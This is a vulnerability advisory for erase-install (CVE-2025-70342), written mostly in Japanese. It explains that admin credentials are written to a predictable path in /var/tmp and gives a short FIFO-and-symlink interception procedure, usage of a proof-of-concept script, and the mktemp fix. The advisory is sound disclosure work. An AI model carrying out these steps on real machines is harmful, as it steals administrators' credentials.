v40.4 より前の erase-install(コミット 2c31239)は、swiftDialog の認証情報出力をハードコードされたパス /var/tmp/dialog.json に書き込みます。Apple Silicon Mac では、再インストール/消去操作中に入力された管理者認証情報が、この予測可能でワールドライタブルな場所に書き込まれます。ローカルの非特権攻撃者は、このパスに名前付きパイプ(FIFO)を作成することで、管理者認証情報をリアルタイムに傍受できます。
スコア: 7.1(高)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
| メトリック | 値 |
|---|---|
| 攻撃元区分 | ローカル |
| 攻撃条件の複雑さ | 低 |
| 必要な特権レベル | 低 |
| ユーザー関与レベル | 要(管理者が認証情報を入力) |
| スコープ | 変更なし |
| 機密性への影響 | 高 |
| 完全性への影響 | 高 |
| 可用性への影響 | なし |
ファイル: erase-install.sh
72行目:
dialog_output="/var/tmp/dialog.json"
124行目:
"$dialog_bin" "${dialog_args[@]}" ... 2>/dev/null > "$dialog_output"
Apple Silicon Mac では、erase-install は swiftDialog を介して管理者に認証情報の入力を求めます。認証情報(ユーザー名とパスワード)はシェルのリダイレクトにより /var/tmp/dialog.json に書き込まれます。これは、ワールドライタブルなディレクトリ内のハードコードされたパスです。このスクリプトは、書き込み前にこのパスが改ざんされていないかをチェックしません。
1. Unprivileged attacker creates a named pipe (FIFO): mkfifo /tmp/.fifo
2. Attacker creates symlink: ln -s /tmp/.fifo /var/tmp/dialog.json
3. Attacker reads from FIFO (blocks, waiting for data)
4. Admin runs: sudo erase-install.sh --erase
5. Admin enters credentials in swiftDialog prompt
6. Credentials flow through symlink → FIFO → attacker's terminal
この攻撃には特別なタイミングやレースコンディションは不要です。攻撃者はシンボリックリンクを仕掛けて待つだけです。
# Start the listener (as unprivileged user)
python3 poc.py
# Wait for admin to run erase-install with --erase or --reinstall
# Credentials will be printed to stdout when captured
# Cleanup
python3 poc.py --cleanup
詳細は poc.py を参照してください。
mktemp を使用してランダムなファイル名を生成し、パスの予測を防ぎます:- dialog_output="/var/tmp/dialog.json"
+ dialog_output=$(/usr/bin/mktemp /var/tmp/dialog.XXX.json)
| 日付 | イベント |
|---|---|
| 2025-12-23 | 脆弱性を発見 |
| 2025-12-23 | メンテナーに問題を報告 |
| 2025-12-24 | PR #574 により修正がマージ |
| 2026-02-20 | CVE-2025-70342 採番 |
この概念実証は、教育および許可されたセキュリティテストの目的のみで提供されています。責任を持って、所有しているシステムまたは明示的なテスト許可を得たシステムでのみ使用してください。